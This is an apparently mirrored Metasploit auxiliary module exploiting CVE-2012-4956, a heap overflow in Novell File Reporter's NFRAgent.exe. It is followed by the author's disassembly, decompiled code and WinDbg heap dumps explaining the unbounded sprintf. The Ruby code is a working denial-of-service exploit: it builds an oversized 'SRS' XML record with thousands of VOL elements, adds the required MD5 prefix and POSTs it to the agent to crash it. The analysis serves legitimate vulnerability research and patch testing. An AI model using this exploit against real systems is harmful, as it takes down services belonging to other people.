Share
## https://sploitus.com/exploit?id=PACKETSTORM:180534
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'NFR Agent Heap Overflow Vulnerability',  
'Description' => %q{  
This module exploits a heap overflow in NFRAgent.exe, a component of Novell  
File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS",  
where NFRAgent.exe fails to generate a response in a secure way, copying user  
controlled data into a fixed-length buffer in the heap without bounds checking.  
This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).  
},  
'Author' => [ 'juan vazquez' ],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2012-4956' ],  
[ 'URL', 'https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959/' ]  
],  
'DisclosureDate' => '2012-11-16'))  
  
register_options(  
[  
Opt::RPORT(3037),  
OptBool.new('SSL', [true, 'Use SSL', true])  
])  
  
end  
  
def run  
record = "<RECORD>"  
record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation  
record << "<VOL>#{Rex::Text.rand_text_alpha(10)}</VOL>" * 0xc35 # Volumes  
record << "</RECORD>"  
  
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase  
message = md5 + record  
  
print_status("Triggering a heap overflow to cause DoS...")  
  
begin  
res = send_request_cgi(  
{  
'uri' => '/FSF/CMD',  
'version' => '1.1',  
'method' => 'POST',  
'ctype' => "text/xml",  
'data' => message  
})  
rescue ::Errno::ECONNRESET  
print_good("NFR Agent didn't answer, DoS seems successful")  
return  
end  
  
if res  
print_error("NFR Agent didn't die, it still answers...")  
return  
end  
  
print_good("NFR Agent didn't answer, DoS seems successful")  
end  
end  
  
=begin  
  
* Static analysis  
  
1) Handling of "SRS" records happens in handle_SRS_sub_4048D0:  
  
.text:00404BE9 add esp, 0Ch  
.text:00404BEC push 14h ; length_arg_C  
.text:00404BEE lea eax, [ebp+record_name_var_28]  
.text:00404BF1 push eax ; result_arg_8  
.text:00404BF2 push offset aName ; "NAME"  
.text:00404BF7 mov ecx, [ebp+message_arg_8]  
.text:00404BFA add ecx, 20h  
.text:00404BFD push ecx ; xml_message_arg_0  
.text:00404BFE mov ecx, [ebp+var_2C]  
.text:00404C01 call parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable  
.text:00404C06 movzx edx, al  
.text:00404C09 test edx, edx  
.text:00404C0B jz short loc_404C8B  
.text:00404C0D push offset aSrs_2 ; "SRS"  
.text:00404C12 lea eax, [ebp+record_name_var_28]  
.text:00404C15 push eax ; char *  
.text:00404C16 call _strcmp ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string.  
.text:00404C1B add esp, 8  
.text:00404C1E test eax, eax  
.text:00404C20 jnz short loc_404C38 ; if not "SRS" name check others, if yes, handle it...  
.text:00404C22 mov ecx, [ebp+message_arg_8]  
.text:00404C25 push ecx ; void *  
.text:00404C26 mov edx, [ebp+arg_4]  
.text:00404C29 push edx ; int  
.text:00404C2A mov eax, [ebp+arg_0]  
.text:00404C2D push eax ; int  
.text:00404C2E call handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"  
  
2) In this function memory is allocated to store the response which will be build:  
  
.text:00404903 push 0C350h ; size_t  
.text:00404908 call _malloc  
.text:0040490D add esp, 4  
.text:00404910 mov [ebp+response_var_8], eax  
  
0:007> g  
Breakpoint 0 hit  
eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000  
eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202  
NFRAgent+0x4908:  
00404908 e84cef0300 call NFRAgent+0x43859 (00443859)  
0:007> dd esp L1  
0120ff4c 0000c350  
0:007> p  
eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000  
eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202  
NFRAgent+0x490d:  
0040490d 83c404 add esp,4  
0:007> !heap -p -a eax  
address 01220110 found in  
_HEAP @ 9e0000  
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state  
01220108 186b 0000 [01] 01220110 0c350 - (busy)  
  
3) The SRS record used in this module is handled by:  
  
.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char  
*result_response_arg_4)  
  
4) The handling function allow to overflow the heap buffer when a big number of VOL elements are processed:  
  
for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD  
*)(vol_object_var_254 + 12) )  
{  
parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL",  
&vol_name_var_20c, 0x1F4u); // get VOL element  
volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume  
Free Space  
volume_fscape_var_358 = v2;  
vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode  
the volume name (user controlled data)  
if ( vol_name_html_encode_var_494 )  
{ // If the volume name has been HTML Encoded  
v3 = volume_fscape_var_358;  
v4 = volume_fspace_vol_35C;  
v5 = vol_name_html_encode_var_494;  
v6 = strlen(result_response_arg_4);  
sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",  
v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the  
fix-length buffer in the heap without bound checking  
free(vol_name_html_encode_var_494);  
vol_name_html_encode_var_494 = 0;  
}  
else  
{ // If the volume name hasn’t been HTML Encoded  
v7 = volume_fscape_var_358;  
v8 = volume_fspace_vol_35C;  
v9 = strlen(result_response_arg_4);  
sprintf(  
&result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume  
name) to the end of the fix-length buffer in the heap without bound checking  
"<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",  
&vol_name_var_20c,  
v8,  
v7);  
}  
}  
  
The results for every volume (VOL element) are attached to the fixed-length heap buffer via the sprintf at 004085C5:  
  
Breakpoint 1 hit  
eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1  
eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202  
NFRAgent+0x85c5:  
004085c5 e84ea70300 call NFRAgent+0x42d18 (00442d18)  
0:007> dd esp L1  
0120eec8 0122013e  
0:007> !heap -p -a 0122013e  
address 0122013e found in  
_HEAP @ 9e0000  
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state  
01220108 186b 0000 [01] 01220110 0c350 - (busy)  
0:007> da poi(esp+4)  
0047a040 "<VOL><NAME>%s</NAME><FSPACE>%I64"  
0047a060 "d</FSPACE></VOL>"  
0:007> da poi(esp+8)  
01250208 "AAAAAAAAAA"  
  
After the loop handling VOL overflows the heap buffer and both heap chunk metadata and contents are  
overwritten for the chunk just after the vulnerable one:  
  
0:007> g  
Breakpoint 0 hit  
eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1  
eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
NFRAgent+0x8645:  
00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001  
0:007> !heap -p -a 01220110  
address 01220110 found in  
_HEAP @ 9e0000  
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state  
01220108 186b 0000 [01] 01220110 0c350 - (busy)  
0:007> !heap -p -a 01220110+0xc350  
address 0122c460 found in  
_HEAP @ 9e0000  
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state  
0122c460 3e45 0000 [46] 0122c468 1f220 - (free)  
0:007> db 0122c460 L8  
0122c460 45 3e 30 3c 2f 46 53 50 E>0</FSP  
0:007> db 0122c468 L10  
0122c468 41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c ACE></VOL><VOL><  
=end